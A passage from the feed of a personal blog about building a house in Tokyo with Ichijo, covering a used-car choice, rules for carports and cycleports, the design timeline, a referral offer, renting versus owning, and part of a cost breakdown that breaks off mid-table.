
&lt;ul&gt;
  &lt;li&gt;Fuel cost (assuming 6,000 km/year, typical for weekend driving): appr. 25,000 yen per year (Hybrid: ~23 km/L vs Petrol: ~15 km/L)&lt;/li&gt;
  &lt;li&gt;Vehicle tax（自動車税）: 5,500 yen per year (Hybrid: 1.8L → ¥39,500 vs Petrol: 2.0L → ¥45,000)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bringing the overall saving to around 30,000 yen per year. This means that the higher upfront cost only breaks even after 10-15 years.&lt;/p&gt;

&lt;p&gt;There is another consideration: when selling the car after 5-10 years, the hybrid is probably still worth more than the gasoline one. Assuming the car lost half its value by the 7th year, then e.g. 400,000 yen extra for hybrid when buying it, might become 200,000 yen extra when selling. In this case the overall cost of the hybrid for that 7 years would be 200,000 yen more (cost 400,000 yen more, but sold for 200,000 yen more), and if it saved 30,000 yen per year, then the end result is a very comparable financial outcome.&lt;/p&gt;

&lt;p&gt;Now if the cost of fuel goes up, then hybrids will do better in the future. But if the car crashes (and we loose any residual value), then the hybrid ends up being worse. Also if we drive more than planned, then hybrids are better, but if we drive less, then gasoline ones come out ahead.&lt;/p&gt;

&lt;p&gt;Overall we concluded that hybrid or gasoline models are comparable options, and decided that we will go with the one that fits our other criteria better.&lt;/p&gt;

&lt;h1 id=&quot;the-final-choice-toyota-voxy&quot;&gt;The final choice: Toyota Voxy&lt;/h1&gt;

&lt;p&gt;In the end we decided to get a gasoline Toyota Voxy: 4 years old with 22,000 km on the clock listed at 2,492,000 yen (but I will write about the real price in another post).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/voxy.png#lb&quot; alt=&quot;The Toyota Voxy we chose&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The trim, &lt;a href=&quot;https://toyota.jp/ucar/catalog/brand-TOYOTA/car-VOXY/202010/10131302/&quot;&gt;ZSキラメキ3&lt;/a&gt; was released in October 2020., starting at 3.1M yen. So the first owner might have paid up to 4M yen for it (with options). Considering that we are getting it for 2.5M, the owner likely got around 2M yen max for it, which means that in 4 years they ate a 2M yen depreciation (or in other words, every 10km driven cost them 1,000 yen in depreciation alone). This is why I don’t buy new cars.&lt;/p&gt;

&lt;p&gt;In my next post I will talk about the options for buying a second hand car and how we got ours.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Garden structure (carport, bicycle shelter) rules in Tokyo</title>
   <link href="https://szabo.jp/2025/06/21/cycle-port-rules/"/>
   <updated>2025-06-21T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/06/21/cycle-port-rules</id>
   <content type="html">&lt;p&gt;We are building a house in Tokyo. The house design is finalized, and the constructions is ongoing, so we are finalizing the garden design. One common thing to put into the garden is some sort of roof over either a car or bicycles, often referred to as カーポート(carport) and サイクルポート (cycleport). We just learned that there are rules about these.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-06-21-cycle-port-rules/cycleport.png#lb&quot; alt=&quot;Image of a cycle port in Tokyo, according to ChatGPT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After starting the house construction, we got a letter from the Building Supervision Department (建築指導課) of the city hall, reminding us that there are rules about building carports and cycleports, and asking us to confirm with them before we build anything. While these structures don’t require explicit building permits (unlikely houses), they still need to follow certain rules and the city hall staff can come and check it later, and could request to demolish a structure that doesn’t follow the rules.&lt;/p&gt;

&lt;p&gt;We forwarded the mail from the city hall to our external construction company, and they received the following rules from the city hall.&lt;/p&gt;

&lt;h2 id=&quot;everything-counts&quot;&gt;Everything counts&lt;/h2&gt;

&lt;p&gt;Essentially by default all structures are considered like the house, so they have to be included in the building area (建築面積) calculations. E.g. our land has a limit of maximum 40% of the land can be covered with a building, and the overall floor space has to be less than 80% of the size of the land. Normally an outside structure (like a garage or shed) would be included in this calculation. Considering that most land are small in Tokyo, the houses are usually pushing very close to these limits (e.g. our house covers 39.3% of the land), which leaves no place for other structures.&lt;/p&gt;

&lt;h2 id=&quot;the-solution-ministry-of-construction-notification-no-1437&quot;&gt;The solution: Ministry of Construction Notification No. 1437&lt;/h2&gt;

&lt;p&gt;There are structures with high degree of openness (高い開放性を有すると認めて指定する構造) that don’t need to be included in the building area calculations, and Ministry of Construction Notification No. 1437 (&lt;a href=&quot;https://www.mlit.go.jp/notice/noticedata/pdf/201703/00006436.pdf&quot;&gt;建設省告示第1437号&lt;/a&gt;) defines the conditions for a structure to be classified as such.&lt;/p&gt;

&lt;p&gt;The structure has to follow these:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The section without exterior walls must be continuously 4 meters or more in length. (外壁を有しない部分が連続して四メートル以上であること)&lt;/li&gt;
  &lt;li&gt;The spacing between columns must be 2 meters or more. (柱の間隔が二メートル以上であること)&lt;/li&gt;
  &lt;li&gt;The ceiling height must be 2.1 meters or more. (天井の高さが二・一メートル以上であること)&lt;/li&gt;
  &lt;li&gt;The number of floors, excluding basements, must be one. (地階を除く階数が一であること)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For cycleports, #1 and #4 are usually met, however we had to change our cycleport to a different model to meet #2 and #3: our original one was only 2m tall and the distance between the columns was less than 2 m as the colums weren’t at the corners, but at the .25 and .75 points of one long edge.&lt;/p&gt;

&lt;p&gt;This led to a situation that due to checking these rules we ended up with a slightly larger cycleport than originally planned (about 10cm deeper and 50cm taller). This came as a surprise, as I thought the city hall will ask us to make it smaller not bigger. But the size is close-enough that the price doesn’t really change, and a taller structure will keep the space feel more open.&lt;/p&gt;

&lt;h2 id=&quot;mistakes-in-online-sources&quot;&gt;Mistakes in online sources&lt;/h2&gt;

&lt;p&gt;Many online sources (e.g. &lt;a href=&quot;https://reform.cainz.com/knowledge/cycleports/8322#i-4&quot;&gt;this&lt;/a&gt;) have #2 reversed, saying that the spacing between columns must be less than 2 meters (柱の間隔は２m以下であること). The official document that we got from our city hall (which is the same as &lt;a href=&quot;https://www.mlit.go.jp/notice/noticedata/pdf/201703/00006436.pdf&quot;&gt;the one from the ministry’s website&lt;/a&gt;) clearly says that it’s more than 2m (柱の間隔が二メートル以上であること), so I think the other online sources are likely wrong. But just in case, it is better to double check with your local city hall, since there could be different rules for different areas, and the city hall will know the rules that apply to your land.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Designing our house</title>
   <link href="https://szabo.jp/2025/05/26/designing-our-house/"/>
   <updated>2025-05-26T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/05/26/designing-our-house</id>
   <content type="html">&lt;p&gt;We recently wrapped up the design of our house. I will share how it went in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;before-meeting-with-the-architect&quot;&gt;Before meeting with the architect&lt;/h2&gt;

&lt;p&gt;This is different by house maker, but Ichijo only lets you meet with their architect once you bought the land. This makes sense: lands in Tokyo are usually small, so it is rare that a house designed for one land will fit another one. So &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;while we were choosing the land&lt;/a&gt;, we only worked with our sales guy from Ichijo. He prepared some reference layouts, but as we later realized they were more for visualizing the size of the house, as most of them would have failed the earthquake resistance rules (e.g. having too wide open spaces, putting a door too close to the corner). They were still helpful, but the architect didn’t even consider them when starting the design.&lt;/p&gt;

&lt;h2 id=&quot;may-7-we-closed-on-the-land&quot;&gt;May 7: we closed on the land&lt;/h2&gt;

&lt;p&gt;We closed on our land on May 7th. Officially we were only allowed to enter the land from this point, so after this date Ichijo went and measured the land. This didn’t change anything for us, as the previous owner already measured it (after taking down the old house and splitting the land into two), but if the land was sold with an old house on it, it can happen that the size of the land was last measured when the old house was built, and might be incorrect affecting the size of the new house.&lt;/p&gt;

&lt;h2 id=&quot;initial-schedule&quot;&gt;Initial schedule&lt;/h2&gt;

&lt;p&gt;We met with our architect on June 6th for the first time. He collected our requirements, wishes, and ideas, and outlined the following schedule (he asked for 2-3 weeks between the steps, and then we agreed on the exact dates):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;June 6: First planning meeting (初回プラン打合せ)&lt;/li&gt;
  &lt;li&gt;June 26: Basic plan (基本プラン)&lt;/li&gt;
  &lt;li&gt;July 10: Electrical and lighting meeting (電気・照明打合せ) - final deadline: November 28&lt;/li&gt;
  &lt;li&gt;August 9: Final specification meeting (最終仕様 打合せ)&lt;/li&gt;
  &lt;li&gt;August 26: Consent to start construction (工事着手承諾) - final deadline: January 12&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Due to Ichijo’s backlog of houses, our actual deadline for the electrical and lighting meeting was November 28, and the Consent to start construction had to be signed by January 12. If these deadlines are met, then the construction would go as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Mid March: groundbreaking ceremony (地鎮祭)&lt;/li&gt;
  &lt;li&gt;End of March: construction starts (着工)&lt;/li&gt;
  &lt;li&gt;Mid May: walls and roof done (上棟)&lt;/li&gt;
  &lt;li&gt;End of August: moving in (お引渡)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This schedule assumes that we mainly accept the first plan he comes up with, and only make a few minor modifications. The extended deadlines gave an additional 4 months of leeway, but in the end we asked for an additional extension of 2 months, pushing out all the construction dates by that. This extension didn’t cost anything extra (other than the additional 2 months of rent we need to pay at our current place).&lt;/p&gt;

&lt;p&gt;With the 2 months delay our final schedule looked like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;June 6: first meeting - discussing our requirements and ideas&lt;/li&gt;
  &lt;li&gt;June 26: 1st layout - living room on the first floor as we asked. Outside shape of the house is already the same as the final one. Requested bunch of changes&lt;/li&gt;
  &lt;li&gt;July 10: 2nd layout - many of the changes ended up worse than original, so reverted them. Made other requests  (e.g. move bathroom to the 2nd floor)&lt;/li&gt;
  &lt;li&gt;July 22: 3rd layout - bathroom didn’t work on the 2nd floor, so asking to move it back.&lt;/li&gt;
  &lt;li&gt;August 9: 4th layout&lt;/li&gt;
  &lt;li&gt;August 26: 5th layout&lt;/li&gt;
  &lt;li&gt;September 12: 6th layout, finalizing details (like window sizes and stronger walls)&lt;/li&gt;
  &lt;li&gt;September 26: 7th layout. It feels that we are getting the most out of the space, but the kitchen-dining-living spaces feel too cramped&lt;/li&gt;
  &lt;li&gt;October 17: 8th layout. Can we move the living-dining-kitchen to the second floor? This restarts much of the designing.&lt;/li&gt;
  &lt;li&gt;October 24: 9th layout. Second floor living-dining-kitchen works much better, every starting to come together&lt;/li&gt;
  &lt;li&gt;November 13: 10th layout. Started working with the lights and electrical stuff. Layout is mostly fixed&lt;/li&gt;
  &lt;li&gt;November 28: 11th layout. Slowly finalizing the minor details.&lt;/li&gt;
  &lt;li&gt;December 9: 12th layout. Almost there, finalizing lights.&lt;/li&gt;
  &lt;li&gt;January 9: 13th layout. We spent New Years with the in-laws, and they pointed out that the kitchen is only about 2m away from the toilet door. We spent the rest of the holiday coming up with new layouts until we found one that was the best, and shared it with the architect on January 9.&lt;/li&gt;
  &lt;li&gt;January 23: 14th layout, based on our new idea. Works really well.&lt;/li&gt;
  &lt;li&gt;February 7: 15th layout. Still figuring out the kitchen counter a bit, and moving some doors, but the walls are the same as in the final design. Meanwhile working hard to finalize all the electrical stuff (as we kept changing the layout until now and we care about lights). We had two sessions with &lt;a href=&quot;https://coconala.com/users/1921513/&quot;&gt;a lighting designer&lt;/a&gt; to get advice. (I &lt;a href=&quot;/2026/02/01/lights-for-our-house/&quot;&gt;wrote about the lights here&lt;/a&gt;.)&lt;/li&gt;
  &lt;li&gt;February 19: 16th layout, final meeting to confirm everything. Usually at this point only minor changes are made, but we make like 200 requests (including adding a new window to the bathroom, and redefining the floorheating zones).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This concluded the design phase, and we are looking at a construction schedule of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Mid May: groundbreaking ceremony (地鎮祭)&lt;/li&gt;
  &lt;li&gt;End of May: construction starts (着工)&lt;/li&gt;
  &lt;li&gt;Mid July: walls and roof done (上棟)&lt;/li&gt;
  &lt;li&gt;Early November: getting the keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dragging out the design phase this long is uncommon, but overall I’m happy that we did it. With each iteration we got closer to a better use of the limited available space, and I’m confident that we are getting the most out of what we have. We were very lucky that both Ichijo’s sales guy and our architect were totally cool with our process taking longer than usual, and supported us throughout this extremely patiently.&lt;/p&gt;

&lt;h2 id=&quot;rules-rules-rules&quot;&gt;Rules, rules, rules&lt;/h2&gt;

&lt;p&gt;As we started the design, we quickly realized that there are a lot of rules that one has to follow.&lt;/p&gt;

&lt;h3 id=&quot;building-laws&quot;&gt;Building laws&lt;/h3&gt;

&lt;p&gt;There are restrictions on the size, and shape of the building that are written in law. These depend on the city and the zoning of the land. For us the main ones were the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;maximum 40% of the land can be covered with a house&lt;/li&gt;
  &lt;li&gt;floorspace of the house is maximum 80% of the size of the land&lt;/li&gt;
  &lt;li&gt;minimum 50 cm between the outside of the wall and the edge of the land&lt;/li&gt;
  &lt;li&gt;don’t block the sun from your neighbor to the North (北側斜線制限, see below)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first two means that for a 120 m2 land you can build a 2-story house with overall max floorspace of 96m2. These two percentages are one of the main information that people check when looking for a land as it defines the size of the potential house, and it depends on the zoning of the area. The 40/80% is pretty common for low-rise residential areas (lot of single-family homes, but most places will have a few 2-story apartment buildings with small, 1-room apartments as well).&lt;/p&gt;

&lt;h4 id=&quot;dont-block-the-sun-from-your-neighbor-regulation-北側斜線制限&quot;&gt;‘Don’t block the sun from your neighbor’ regulation 北側斜線制限&lt;/h4&gt;

&lt;p&gt;With houses built very close to each other, Japan wants to ensure that every house gets some amount of sun. Most of the sun comes from the South, so the North side of the houses are &lt;a href=&quot;https://suumo.jp/article/oyakudachi/oyaku/chumon/c_knowhow/hikagekisei/#:~:text=%E4%BC%9A%E7%A4%BE%E3%82%92%E6%8E%A2%E3%81%99-,%E6%97%A5%E5%BD%B1%E8%A6%8F%E5%88%B6%E4%BB%A5%E5%A4%96%E3%81%AE%E5%88%B6%E9%99%90%E3%80%80%E5%8C%97%E5%81%B4%E6%96%9C%E7%B7%9A%E5%88%B6%E9%99%90%E3%81%A8%E3%81%AF%EF%BC%9F,-%E6%97%A5%E5%BD%B1%E8%A6%8F%E5%88%B6&quot;&gt;required to stay under a ~45 degree plane&lt;/a&gt; in order to let their neighbor to the North get enough sun.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-05-26-designing-our-house/houses.png#lb&quot; alt=&quot;Houses built on narrow lands letting the sun reach their neighbors (left is South, right is North)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our land is long in South to North direction, so this affects how close the house can be moved to the North side (back of the land). Also as the land is not exactly South-North, but about 15 degree off, so the rule applies to the West side too (as it is technically West-NorthWest). This resulted in the West edge of the second floor have a sloped ceiling. The lowest point of this is 170 cm, and we put the stairs under it, where it doesn’t matter that much. These types of sloped ceilings are pretty common in Tokyo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-05-26-designing-our-house/sloped-ceiling.jpg#lb&quot; alt=&quot;Room with a sloped ceiling in one of the houses we saw&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These rules are non-negotiable (the house won’t get the building permit if any is violated), so they don’t depend on the builder company.&lt;/p&gt;

&lt;h3 id=&quot;rules-of-earthquake-resistance&quot;&gt;Rules of earthquake resistance&lt;/h3&gt;

&lt;p&gt;The next type of rules are to ensure the house won’t collapse in case of an earthquake. Things like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;maximum size of open spaces&lt;/li&gt;
  &lt;li&gt;big living room having to have a ~1 m long wall coming in from the side in the middle&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These depend on the builder for multiple reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;material of the house: steel frame is stronger than wood (Ichijo uses wood)&lt;/li&gt;
  &lt;li&gt;targeted earthquake resistance rating (Ichijo targets a pretty high grade)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So working with Ichijo made these rules more of an issue for us, but other than having to add an extra small wall in the living room, it was fine in the end.&lt;/p&gt;

&lt;h3 id=&quot;rules-of-the-builder&quot;&gt;Rules of the builder&lt;/h3&gt;

&lt;p&gt;Then there are the rules of the house builder.&lt;/p&gt;

&lt;h4 id=&quot;semi-order-and-full-order-houses&quot;&gt;Semi-order and full-order houses&lt;/h4&gt;

&lt;p&gt;Some companies have semi-order and full-order houses, where the latter is more expensive, while the former restricts the outside shape of the house to one from their set of designs. Luckily Ichijo wasn’t like this, and they let us build the house in any shape.&lt;/p&gt;

&lt;h4 id=&quot;size-of-a-section-of-wall&quot;&gt;Size of a section of wall&lt;/h4&gt;

&lt;p&gt;As the houses are mainly built from wood, the walls consist of pillars and space between the pillars (filled with insulation). Usually this unit of pillar-space-pillar has a pre-defined size, and the wall has to be a multiple of this. The most common size for this is 1マス which is a square of 3尺（910mm）× 3尺（910mm）. So all walls have to be multiples of 91 cm.&lt;/p&gt;

&lt;p&gt;Ichijo also allows wall sections of half this size, so in practice you can have walls of multiples of 45.5 cm. This limitation is less visible in bigger rooms, but pretty much decides the width of corridors, stairs, and toilets.&lt;/p&gt;

&lt;p&gt;Some builders offer 100 cm unit instead, which however means that more space is wasted on corridors, stairs, and toilets (or more spacey corridors, stairs, and toilets, depending on how you look at it).&lt;/p&gt;

&lt;h4 id=&quot;central-air-circulation-system-ロスガード&quot;&gt;Central air circulation system (ロスガード)&lt;/h4&gt;

&lt;p&gt;This system is one of the selling points of Ichijo. It is mandated by law to provided sufficient air circulation in the house, which often means an  air intake in each room where outside air can come in. This makes all heating and cooling systems having to run stronger, as outside air keeps coming in.&lt;/p&gt;

&lt;p&gt;Ichijo’s solution to this is a central air circulation system that sends and collects air from each room via pipes, and then makes the incoming and outgoing air pass next to each other exchanging heat. They &lt;a href=&quot;https://www.ichijo.co.jp/technology/element/ventilation/&quot;&gt;claim a 90% heat exchange efficiency&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-05-26-designing-our-house/loss-guard.png#lb&quot; alt=&quot;ロスガード90 (Loss Guard) central air system by Ichijo (source: www.ichijo.co.jp)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is all great, but finding a place for the central unit for this system was a major headache, as it has many rules:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The unit takes up one square (91x91 cm)&lt;/li&gt;
  &lt;li&gt;It has to be on the second floor, next to an outside wall&lt;/li&gt;
  &lt;li&gt;The wall can’t be sloped (ruling out one of our walls)&lt;/li&gt;
  &lt;li&gt;In front of it there has to be an empty square (as the door of the system needs to be opened for maintenance), and this square has to have at least one side open (no door or wall on at least one side)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It took a lot of work to find a place for this where it is not in the way, but still follows all these rules.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Those were most of the rules of designing the house. Our architect was excellent at knowing about these and guiding our design to ensure we follow them. However He was less strong in suggesting us good design ideas. Apart from the initial design, he mainly waited for us to come up with ideas, and then he would work those into the layout.&lt;/p&gt;

&lt;p&gt;Towards the end of the design we were running out of time, and were also slightly frustrated with the lack of advice about design (e.g. about lights). So we consulted with a &lt;a href=&quot;https://coconala.com/users/1921513/&quot;&gt;freelancer lighting advisor&lt;/a&gt; and had a one hour call with him twice. These were super helpful. He had a lot of concrete advice, and he worked with us on figuring out what works for our design. I can highly recommend &lt;a href=&quot;https://coconala.com/users/1921513/&quot;&gt;him&lt;/a&gt;. (He does not speak English though.)&lt;/p&gt;

&lt;p&gt;Things we would do differently next time:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;hire an additional architect or interior coordinator to advice on the design. Probably a freelancer like the lighting advisor would be enough&lt;/li&gt;
  &lt;li&gt;bring concrete layout ideas from the early meetings, instead of just telling our opinions about the layout. It could have saved a lot of back-and-forth, as e.g. we thought about moving the bathroom to a different floor, architect comes back in 3 weeks, shows the design, it just doesn’t work there, so we ask to revert it. By the end of the design phase, we were coming up with layouts ourselves, and that allowed a much faster iteration on ideas, letting us only bring more polished ideas to the architect&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This post focused mainly on the process of designing our home. I have written separate posts &lt;a href=&quot;/2026/03/01/home-design-ideas/&quot;&gt;about the design itself&lt;/a&gt; and &lt;a href=&quot;/2026/02/01/lights-for-our-house/&quot;&gt;about the lights&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Ichijo friend referral</title>
   <link href="https://szabo.jp/2025/05/24/ichijo-referral/"/>
   <updated>2025-05-24T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/05/24/ichijo-referral</id>
   <content type="html">&lt;p&gt;Ichijo, as most major house makers, offer a friend referral system.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;If someone who has built a house with Ichijo introduces you before you visit their showroom, and later you build a house with Ichijo, then you will receive a discount (&lt;a href=&quot;https://mii-i-smart.com/ichijo-syokai/&quot;&gt;up to 320,000 yen&lt;/a&gt;), while the &lt;a href=&quot;https://www.ichijo.co.jp/shokai/&quot;&gt;referring person also receives some Ichijo-points&lt;/a&gt; (One can use these points to buy things from Ichijo, like replacement filters for the central air system).&lt;/p&gt;

&lt;p&gt;As we are building our house with Ichijo, I’m happy to submit a referral for you. If you are interested, please &lt;strong&gt;&lt;a href=&quot;https://forms.gle/J2DmCkkE5mZF1DuE9&quot;&gt;fill out this Google Form&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;By submitting this form, you request me, Mark Szabo (&lt;a href=&quot;https://szabo.jp&quot;&gt;https://szabo.jp&lt;/a&gt;) to submit the provided information to Ichijo (株式会社一条工務店) as a referral. After the referral is submitted, I will delete the provided information on my end. Ichijo will handle the information in accordance with their privacy policy: &lt;a href=&quot;https://www.ichijo.co.jp/privacy/&quot;&gt;https://www.ichijo.co.jp/privacy/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Doing this also supports this blog, so thank you very much.&lt;/p&gt;

&lt;p&gt;If you have already visited an Ichijo showroom, you may still submit the form, however in that case you won’t be eligible for the discount, but I will still receive some Ichijo-points. If you found this blog useful, this is an easy way to support it.&lt;/p&gt;

&lt;p&gt;If you have any question, reach out to me on: &lt;a href=&quot;mailto:ichijoreferral@szabo.jp&quot;&gt;ichijoreferral@szabo.jp&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;other-house-maker-companies&quot;&gt;Other house maker companies&lt;/h2&gt;

&lt;p&gt;If you are interested in any other big house maker companies, I highly recommend finding someone to introduce you to them (e.g. ask around among friends, post to #random on the company Slack), as it is beneficial for both you and the referring person.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why we chose to own our home instead of renting</title>
   <link href="https://szabo.jp/2025/05/20/why-we-chose-to-own-our-home-instead-of-renting/"/>
   <updated>2025-05-20T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/05/20/why-we-chose-to-own-our-home-instead-of-renting</id>
   <content type="html">&lt;p&gt;Back in January 2023 I wrote &lt;a href=&quot;/2023/01/14/thoughts-on-renting-vs-buying-in-tokyo/&quot;&gt;a post on the renting vs buying decision in Tokyo&lt;/a&gt; concluding that the two options have comparable financial outcomes (assuming the renter invests the additional money into a diversified portfolio). Yet we decided to build our house. In this post I’ll share the reasons that contributed to this decision.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;for-a-family-it-is-hard-to-find-a-big-enough-place-to-rent&quot;&gt;For a family, it is hard to find a big enough place to rent&lt;/h2&gt;

&lt;p&gt;The largest rentals in our area are mostly 3LDK (3 bedrooms, one big living-dining-kitchen), which might be enough for a family with one kid (or a family with 2 kids where none of the parents work from home), but if one wants more than 2 kids, or 2 kids and a remote working parent, then it starts to get small.&lt;/p&gt;

&lt;h2 id=&quot;quality-of-rentals-is-often-low&quot;&gt;Quality of rentals is often low&lt;/h2&gt;

&lt;p&gt;We found that when people build or renovate with the intention of renting it out, they often focus on reducing costs. This results in cheap air conditioners and stoves, missing floor-heating and dishwasher, etc. In case of houses, also low quality builds (bad insulation both against heat and noise, low quality flooring that get damaged easily). These don’t only contribute to higher utility bills, but also significantly impact our quality of life. We had a place where it was super cold in the morning in winter, but if we turned on all the ACs, then we could use the microwave as that would trip the breaker. This is not how I want to live my mornings.&lt;/p&gt;

&lt;p&gt;We have seen well built rentals, but they were usually built for the owner themselves, and were only rented out as the owner had to move away for a few  years (usually due to work). However this means that the rental contract is only for those few years until the owner is away, meaning one can’t stay long term. Moving is expensive and time consuming (including finding a new place).&lt;/p&gt;

&lt;h2 id=&quot;moving-gets-harder-with-kids&quot;&gt;Moving gets harder with kids&lt;/h2&gt;

&lt;p&gt;One of the main benefit of renting is the flexibility of moving (e.g. if there is a good job opportunity or if one needs more or less space). However if one has kids, then as kids start to go to school, moving becomes harder, as it will either limit the location to the same school district (so that kids can stay in the same school), or kids will have to switch schools.&lt;/p&gt;

&lt;p&gt;Now whether this is a major issue or not comes down to personal preference, but I had to switch schools when I was 10 due to my  parents’ work, and I did not take it well. So it is important for me to let my kids go to the same school (as long as they want to).&lt;/p&gt;

&lt;h2 id=&quot;less-worry-about-damages&quot;&gt;Less worry about damages&lt;/h2&gt;

&lt;p&gt;Again with kids it is inevitable that there will be damages, heavy things dropped on the floor, food and drawings on the walls, etc. These are more costly to fix in rentals, as most landlords prefer professional repairs over DYI solutions, which adds stress to the situation. Even if one  doesn’t care about the damage itself, if it is big enough that it risks the landlord withholding the 1-2 months worth of deposit, it can easily make the problem seem bigger than what it ought to be.&lt;/p&gt;

&lt;h2 id=&quot;more-customization-options&quot;&gt;More customization options&lt;/h2&gt;

&lt;p&gt;Owing, especially building our own, gives us the option to customize more. We get to have a &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;front-open big dishwasher&lt;/a&gt;, &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;smart home&lt;/a&gt;, and a small office for remote work. We can choose the best insulation, floor heating in all rooms, high-grade ACs, self-cleaning bathtubs, and solar panels.&lt;/p&gt;

&lt;h2 id=&quot;diy-opportunities&quot;&gt;DIY opportunities&lt;/h2&gt;

&lt;p&gt;Owing also provides the opportunity to do DIY, which I greatly enjoy. In rentals we had minor issues a few times (e.g. a sink leaking) where I could have likely fixed it myself, but as there is a chance I break something, it was safer to call the landlord, even if it meant that we had to wait a few days. But this is a personal preference again: I genuinely enjoy fixing these things myself, while I know many people would rather have someone else take care of them.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Overall for us owning a home seem to provide a better quality of life for only slightly higher costs (current rent is 240,000 yen, current expected mortgage is 290,000 yen), which is essentially why we decided to own our home in the end.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The cost of our Ichijo house</title>
   <link href="https://szabo.jp/2025/05/04/cost-of-our-ichijo-house/"/>
   <updated>2025-05-04T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/05/04/cost-of-our-ichijo-house</id>
   <content type="html">&lt;p&gt;We are building a house in Tokyo with &lt;a href=&quot;https://www.ichijo.co.jp/&quot;&gt;Ichijo 一条工務店&lt;/a&gt;. In a previous post I covered &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;the costs associated with buying the land&lt;/a&gt;, and in this post I’ll talk about the cost of our house built by Ichijo. There will be additional fees (e.g. garden, registration, etc.) that I will write about in a separate post once we move in. This post is only about the money we pay to Ichijo for the building itself.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;The final cost of the house was 35,605,326 yen (32,368,479 yen plus the 10% tax). All prices from this point will be without tax (as that’s how they are shown in the estimate).&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Category (jp)&lt;/th&gt;
      &lt;th&gt;Category (en)&lt;/th&gt;
      &lt;th&gt;Cost&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Ⅰ 建物本体工事御見積書&lt;/td&gt;
      &lt;td&gt;Main building construction&lt;/td&gt;
      &lt;td&gt;22,165,367 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ⅱ 建築申請・その他業務諸費用&lt;/td&gt;
      &lt;td&gt;Subsidy applications&lt;/td&gt;
      &lt;td&gt;794,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ⅲ 付帯・屋外給排水・雨水排水・浄化槽・ガス配管工事御見積書&lt;/td&gt;
      &lt;td&gt;Outdoor water plumbing work&lt;/td&gt;
      &lt;td&gt;1,583,700 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ⅳ 標準仕様外工事御見積書&lt;/td&gt;
      &lt;td&gt;Various options that we chose&lt;/td&gt;
      &lt;td&gt;6,515,112 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ⅴ 太陽光発電システム御見積書&lt;/td&gt;
      &lt;td&gt;Solar panel and battery&lt;/td&gt;
      &lt;td&gt;1,310,300 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;建物工事費合計(税抜)&lt;/strong&gt;&lt;/td&gt;
